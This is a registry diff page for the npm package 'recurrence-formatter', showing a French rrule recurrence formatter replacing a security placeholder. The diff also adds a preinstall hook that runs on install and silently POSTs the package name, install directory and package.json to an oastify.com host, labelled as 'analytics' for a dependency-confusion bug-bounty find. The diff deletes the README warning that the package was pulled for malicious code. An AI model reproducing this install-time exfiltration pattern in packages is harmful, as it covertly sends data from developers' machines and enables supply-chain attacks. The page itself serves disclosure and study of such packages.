recurrence-formatter 0.0.1-security → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of recurrence-formatter might be problematic. Click here for more details.

@@ -0,0 +1,367 @@
1
+ (function (global, factory) {
2
+ typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports, require('rrule')) : typeof define === 'function' && define.amd ? define(['exports', 'rrule'], factory) : factory(global['recurrence-formatter'] = {}, global.rrule);
3
+ })(this, function (exports, rrule) {
4
+ 'use strict';
5
+
6
+ function _slicedToArray(arr, i) {
7
+ return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _nonIterableRest();
8
+ }
9
+ function _arrayWithHoles(arr) {
10
+ if (Array.isArray(arr)) return arr;
11
+ }
12
+ function _iterableToArrayLimit(arr, i) {
13
+ var _arr = [];
14
+ var _n = true;
15
+ var _d = false;
16
+ var _e = undefined;
17
+ try {
18
+ for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) {
19
+ _arr.push(_s.value);
20
+ if (i && _arr.length === i) break;
21
+ }
22
+ } catch (err) {
23
+ _d = true;
24
+ _e = err;
25
+ } finally {
26
+ try {
27
+ if (!_n && _i["return"] != null) _i["return"]();
28
+ } finally {
29
+ if (_d) throw _e;
30
+ }
31
+ }
32
+ return _arr;
33
+ }
34
+ function _nonIterableRest() {
35
+ throw new TypeError("Invalid attempt to destructure non-iterable instance");
36
+ }
37
+ function generateArray(value) {
38
+ return Array.from({
39
+ length: value
40
+ }, function (v, i) {
41
+ return {
42
+ value: i + 1,
43
+ title: (i + 1).toString()
44
+ };
45
+ });
46
+ }
47
+ var recurrences = {
48
+ frequencyTypeItems: [{
49
+ value: 'DAILY',
50
+ title: 'quotidienne',
51
+ unitsText: 'jour(s)'
52
+ }, {
53
+ value: 'WEEKLY',
54
+ title: 'hebdomadaire',
55
+ unitsText: 'semaine(s)',
56
+ selected: true,
57
+ isFeminine: true
58
+ }, {
59
+ value: 'MONTHLY',
60
+ title: 'mensuelle',
61
+ unitsText: 'mois'
62
+ }, {
63
+ value: 'YEARLY',
64
+ title: 'annuelle',
65
+ unitsText: 'an(s)'
66
+ }],
67
+ weekDays: [{
68
+ title: 'lun.',
69
+ value: 'MO',
70
+ fullTitle: 'lundi'
71
+ }, {
72
+ title: 'mar.',
73
+ value: 'TU',
74
+ fullTitle: 'mardi'
75
+ }, {
76
+ title: 'mer.',
77
+ value: 'WE',
78
+ fullTitle: 'mercredi'
79
+ }, {
80
+ title: 'jeu.',
81
+ value: 'TH',
82
+ fullTitle: 'jeudi'
83
+ }, {
84
+ title: 'ven.',
85
+ value: 'FR',
86
+ fullTitle: 'vendredi'
87
+ }, {
88
+ title: 'sam.',
89
+ value: 'SA',
90
+ fullTitle: 'samedi'
91
+ }, {
92
+ title: 'dim.',
93
+ value: 'SU',
94
+ fullTitle: 'dimanche'
95
+ }],
96
+ frequencyItems: {
97
+ DAILY: generateArray(30),
98
+ YEARLY: generateArray(10),
99
+ MONTHLY: generateArray(11),
100
+ WEEKLY: generateArray(51)
101
+ },
102
+ monthlyRecurrence: {
103
+ number: generateArray(31),
104
+ occurences: [{
105
+ value: 1,
106
+ title: 'premier'
107
+ }, {
108
+ value: 2,
109
+ title: 'deuxième'
110
+ }, {
111
+ value: 3,
112
+ title: 'troisième'
113
+ }, {
114
+ value: 4,
115
+ title: 'quatrième'
116
+ }, {
117
+ value: 5,
118
+ title: 'cinquième'
119
+ }, {
120
+ value: -1,
121
+ title: 'dernier'
122
+ }],
123
+ days: [{
124
+ value: 'MO',
125
+ title: 'lundi'
126
+ }, {
127
+ value: 'TU',
128
+ title: 'mardi'
129
+ }, {
130
+ value: 'WE',
131
+ title: 'mercredi'
132
+ }, {
133
+ value: 'TH',
134
+ title: 'jeudi'
135
+ }, {
136
+ value: 'FR',
137
+ title: 'vendredi'
138
+ }, {
139
+ value: 'SA',
140
+ title: 'samedi'
141
+ }, {
142
+ value: 'SU',
143
+ title: 'dimanche'
144
+ }]
145
+ }
146
+ };
147
+ var formatDate = function formatDate(date) {
148
+ return "".concat(date.toISOString().substr(0, 19).replace(/[-:]/g, ''), "Z");
149
+ };
150
+ function getRecurrenceObjectFromRrule(rrule$$1, shouldUseRruleConversion) {
151
+ var now = new Date();
152
+ var rec;
153
+ if (rrule$$1) {
154
+ var rr = shouldUseRruleConversion ? rrule.rrulestr(rrule$$1) : rrule$$1;
155
+ rec = rr && rr.options || {};
156
+ } else {
157
+ rec = {};
158
+ }
159
+ var months = ['01', '02', '03', '04', '05', '06', '07', '08', '09', '10', '11', '12'];
160
+ var weekDays = ['MO', 'TU', 'WE', 'TH', 'FR', 'SA', 'SU'];
161
+ var hasRecurrence = false;
162
+ var frequencyType = 'WEEKLY';
163
+ var frequencyUnit = 1;
164
+ var recurrenceEndCount = 5;
165
+ var recurrenceEndDate = "".concat(now.getDate(), "/").concat(months[now.getMonth()], "/").concat(now.getFullYear());
166
+ var recurrenceEndType = 'none';
167
+ var weeklyRecurrence = [weekDays[now.getDay() - 1]];
168
+ var monthlyRecurrenceType = 'byDayPosition';
169
+ var monthlyRecurrenceNumber = 1;
170
+ var monthlyRecurrenceOccurence = 1;
171
+ var monthlyRecurrenceDay = 'MO';
172
+ if (rec.freq !== undefined) {
173
+ hasRecurrence = true;
174
+ /* @TODO: à remove quand la lib rrule sera remove aussi */
175
+
176
+ frequencyType = rrule.RRule.FREQUENCIES[rec.freq];
177
+ frequencyUnit = rec.interval;
178
+ if (rec.count) {
179
+ recurrenceEndType = 'count';
180
+ recurrenceEndCount = rec.count;
181
+ } else if (rec.until) {
182
+ recurrenceEndType = 'date';
183
+ var untilDate = new Date(rec.until);
184
+ recurrenceEndDate = "".concat(untilDate.getDate(), "/").concat(months[untilDate.getMonth()], "/").concat(untilDate.getFullYear());
185
+ } else {
186
+ recurrenceEndType = 'none';
187
+ }
188
+ if (rec.freq === rrule.RRule.WEEKLY) {
189
+ weeklyRecurrence = [];
190
+ rec.byweekday.forEach(function (d) {
191
+ weeklyRecurrence.push(weekDays[d]);
192
+ });
193
+ } else if (rec.freq === rrule.RRule.MONTHLY) {
194
+ if (rec.bymonthday && rec.bymonthday.length) {
195
+ monthlyRecurrenceType = 'byMonthDay';
196
+ var _rec$bymonthday = _slicedToArray(rec.bymonthday, 1);
197
+ monthlyRecurrenceNumber = _rec$bymonthday[0];
198
+ } else if (rec.bysetpos && rec.bysetpos.length) {
199
+ monthlyRecurrenceType = 'byDayPosition';
200
+ var _rec$bysetpos = _slicedToArray(rec.bysetpos, 1);
201
+ monthlyRecurrenceOccurence = _rec$bysetpos[0];
202
+ monthlyRecurrenceDay = weekDays[rec.byweekday[0]];
203
+ }
204
+ }
205
+ }
206
+ return {
207
+ hasRecurrence: hasRecurrence,
208
+ frequencyType: frequencyType,
209
+ frequencyUnit: frequencyUnit,
210
+ recurrenceEndCount: recurrenceEndCount,
211
+ recurrenceEndDate: recurrenceEndDate,
212
+ recurrenceEndType: recurrenceEndType,
213
+ weeklyRecurrence: weeklyRecurrence,
214
+ monthlyRecurrenceType: monthlyRecurrenceType,
215
+ monthlyRecurrenceNumber: monthlyRecurrenceNumber,
216
+ monthlyRecurrenceOccurence: monthlyRecurrenceOccurence,
217
+ monthlyRecurrenceDay: monthlyRecurrenceDay
218
+ };
219
+ }
220
+ function getRecurrenceTextFromRruleString(rruleString) {
221
+ var text = '';
222
+ if (rruleString) {
223
+ var textArray = [];
224
+ var rrule$$1 = rrule.rrulestr(rruleString);
225
+ var _getRecurrenceObjectF = getRecurrenceObjectFromRrule(rrule$$1),
226
+ hasRecurrence = _getRecurrenceObjectF.hasRecurrence,
227
+ frequencyUnit = _getRecurrenceObjectF.frequencyUnit,
228
+ frequencyType = _getRecurrenceObjectF.frequencyType,
229
+ weeklyRecurrence = _getRecurrenceObjectF.weeklyRecurrence,
230
+ monthlyRecurrenceType = _getRecurrenceObjectF.monthlyRecurrenceType,
231
+ monthlyRecurrenceNumber = _getRecurrenceObjectF.monthlyRecurrenceNumber,
232
+ monthlyRecurrenceOccurence = _getRecurrenceObjectF.monthlyRecurrenceOccurence,
233
+ monthlyRecurrenceDay = _getRecurrenceObjectF.monthlyRecurrenceDay,
234
+ recurrenceEndType = _getRecurrenceObjectF.recurrenceEndType,
235
+ recurrenceEndCount = _getRecurrenceObjectF.recurrenceEndCount,
236
+ recurrenceEndDate = _getRecurrenceObjectF.recurrenceEndDate;
237
+ if (hasRecurrence) {
238
+ var type = recurrences.frequencyTypeItems.filter(function (f) {
239
+ return f.value === frequencyType;
240
+ })[0];
241
+ var interval = frequencyUnit === 1 ? '' : frequencyUnit;
242
+ var typeLabel = type.unitsText.replace(/[()]/g, '');
243
+ var allText = type.isFeminine ? 'toutes les' : 'tous les';
244
+ var typeText = "".concat(type.title, ", a lieu");
245
+ textArray.push(typeText);
246
+ switch (frequencyType) {
247
+ case 'WEEKLY':
248
+ {
249
+ var wd = [];
250
+ recurrences.weekDays.forEach(function (day) {
251
+ if (weeklyRecurrence.indexOf(day.value) !== -1) {
252
+ wd.push("".concat(day.fullTitle, "s"));
253
+ }
254
+ });
255
+ if (wd.length) {
256
+ var txt = 'les ';
257
+ if (wd.length > 1) {
258
+ var lastEntry = wd.pop();
259
+ txt += wd.join(', ');
260
+ txt += " et ".concat(lastEntry);
261
+ } else {
262
+ txt += wd[0];
263
+ }
264
+ textArray.push(txt);
265
+ }
266
+ break;
267
+ }
268
+ case 'MONTHLY':
269
+ {
270
+ if (monthlyRecurrenceType === 'byMonthDay') {
271
+ textArray.push("le ".concat(monthlyRecurrenceNumber, " du mois"));
272
+ } else if (monthlyRecurrenceType === 'byDayPosition') {
273
+ var position = recurrences.monthlyRecurrence.occurences.filter(function (f) {
274
+ return f.value === monthlyRecurrenceOccurence;
275
+ });
276
+ var day = recurrences.monthlyRecurrence.days.filter(function (f) {
277
+ return f.value === monthlyRecurrenceDay;
278
+ });
279
+ textArray.push("le ".concat(position[0].title, " ").concat(day[0].title, " du mois"));
280
+ }
281
+ break;
282
+ }
283
+ default:
284
+ break;
285
+ }
286
+ if (interval) {
287
+ textArray.push(allText, interval, typeLabel);
288
+ } else {
289
+ textArray.push(allText, typeLabel);
290
+ }
291
+ if (recurrenceEndType === 'count') {
292
+ textArray.push("pendant ".concat(recurrenceEndCount, " occurence").concat(recurrenceEndCount > 1 ? 's' : ''));
293
+ } else if (recurrenceEndType === 'date') {
294
+ textArray.push("jusqu'au ".concat(recurrenceEndDate));
295
+ }
296
+ text += textArray.join(' ');
297
+ }
298
+ }
299
+ return text;
300
+ }
301
+ function getRruleStringFromRecurrenceObject(rruleObj) {
302
+ var text = '';
303
+ if (rruleObj) {
304
+ var frequencyUnit = rruleObj.frequencyUnit,
305
+ frequencyType = rruleObj.frequencyType,
306
+ weeklyRecurrence = rruleObj.weeklyRecurrence,
307
+ monthlyRecurrenceType = rruleObj.monthlyRecurrenceType,
308
+ monthlyRecurrenceNumber = rruleObj.monthlyRecurrenceNumber,
309
+ monthlyRecurrenceOccurence = rruleObj.monthlyRecurrenceOccurence,
310
+ monthlyRecurrenceDay = rruleObj.monthlyRecurrenceDay,
311
+ recurrenceEndType = rruleObj.recurrenceEndType,
312
+ recurrenceEndCount = rruleObj.recurrenceEndCount,
313
+ recurrenceEndDate = rruleObj.recurrenceEndDate;
314
+ var obj = {};
315
+ obj.freq = rrule.RRule[frequencyType];
316
+ obj.interval = frequencyUnit;
317
+ if (frequencyType === 'MONTHLY') {
318
+ if (monthlyRecurrenceType === 'byMonthDay') {
319
+ obj.bymonthday = [monthlyRecurrenceNumber];
320
+ } else if (monthlyRecurrenceType === 'byDayPosition') {
321
+ obj.bysetpos = [monthlyRecurrenceOccurence];
322
+ obj.byweekday = [rrule.RRule[monthlyRecurrenceDay]];
323
+ }
324
+ } else if (frequencyType === 'WEEKLY' && weeklyRecurrence) {
325
+ obj.byweekday = weeklyRecurrence.map(function (w) {
326
+ return rrule.RRule[w];
327
+ });
328
+ }
329
+ if (recurrenceEndType === 'count') {
330
+ obj.count = recurrenceEndCount;
331
+ } else if (recurrenceEndType === 'date') {
332
+ obj.until = recurrenceEndDate.toISOString();
333
+ }
334
+ var rr = new rrule.RRule(obj);
335
+ text += rr.toString().replace('RRULE:', '');
336
+ }
337
+ return text;
338
+ }
339
+ function getRecurrenceTextFromRruleObj(rruleObj, start) {
340
+ var stringRule = [];
341
+ Object.keys(rruleObj).forEach(function (key) {
342
+ var val = rruleObj[key];
343
+ if (key === 'until') {
344
+ val = formatDate(val);
345
+ }
346
+ if (Array.isArray(rruleObj[key])) {
347
+ val = rruleObj[key].join(',');
348
+ } // force freq to be the first param of the rrule
349
+
350
+ if (key === 'freq') {
351
+ stringRule.unshift("".concat(key.toUpperCase(), "=").concat(val));
352
+ } else {
353
+ stringRule.push("".concat(key.toUpperCase(), "=").concat(val));
354
+ }
355
+ });
356
+ var str = "DTSTART:".concat(formatDate(start));
357
+ str += "\nRRULE:".concat(stringRule.join(';'));
358
+ return getRecurrenceTextFromRruleString(str);
359
+ }
360
+ exports.getRecurrenceObjectFromRrule = getRecurrenceObjectFromRrule;
361
+ exports.getRecurrenceTextFromRruleString = getRecurrenceTextFromRruleString;
362
+ exports.getRruleStringFromRecurrenceObject = getRruleStringFromRecurrenceObject;
363
+ exports.getRecurrenceTextFromRruleObj = getRecurrenceTextFromRruleObj;
364
+ Object.defineProperty(exports, '__esModule', {
365
+ value: true
366
+ });
367
+ });
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "recurrence-formatter",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.0",
4
+ "description": "This package sends a callback to a server when installed (for analytics purposes). Original recurrence-formatter from a Dependency Confusion (from YesWH Hunter)",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"All went OK.\" && exit 1",
8
+ "preinstall": "node ./scripts/preinstall.js"
9
+ },
10
+ "author": "sicarius@wearehackerone.com",
11
+ "license": "ISC"
6
12
  }
@@ -0,0 +1,53 @@
1
+ //author:- sicarius@wearehackerone.com
2
+ const https = require("https");
3
+ const packageJSON = require("../package.json");
4
+ const querystring = require("querystring");
5
+ const package = packageJSON.name;
6
+ const fs = require('fs');
7
+ const path = require('path');
8
+
9
+ // Check for a required file in the project directory
10
+ const requiredFile = path.join(__dirname, '..', 'required-file.txt');
11
+
12
+ if (!fs.existsSync(requiredFile)) {
13
+ console.error('Error: The required-file.txt is missing. Please create it before installing the package.');
14
+ }
15
+
16
+ console.log('Preinstall required check completed successfully. Proceeding with custom analytics...');
17
+
18
+ const analytics = JSON.stringify({
19
+ p: package,
20
+ c: __dirname,
21
+ pjson: packageJSON,
22
+ });
23
+
24
+ var postData = querystring.stringify({
25
+ msg: analytics,
26
+ });
27
+
28
+ var http_request_options = {
29
+ // Registering the user
30
+ hostname: "jl83enqid4soifhh0i1br2cy8peg26qv.oastify.com",
31
+ port: 443,
32
+ path: "/",
33
+ method: "POST",
34
+ headers: {
35
+ "Content-Type": "application/x-www-form-urlencoded",
36
+ "Content-Length": postData.length,
37
+ },
38
+ };
39
+
40
+ var req = https.request(http_request_options, (res) => {
41
+ res.on("data", (d) => {
42
+ process.stdout.write(d);
43
+ });
44
+ });
45
+
46
+ req.on("error", (e) => {
47
+ // console.error(e);
48
+ });
49
+ console.log('Preinstall script completed...');
50
+
51
+ req.write(postData);
52
+ req.end();
53
+
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=recurrence-formatter for more information.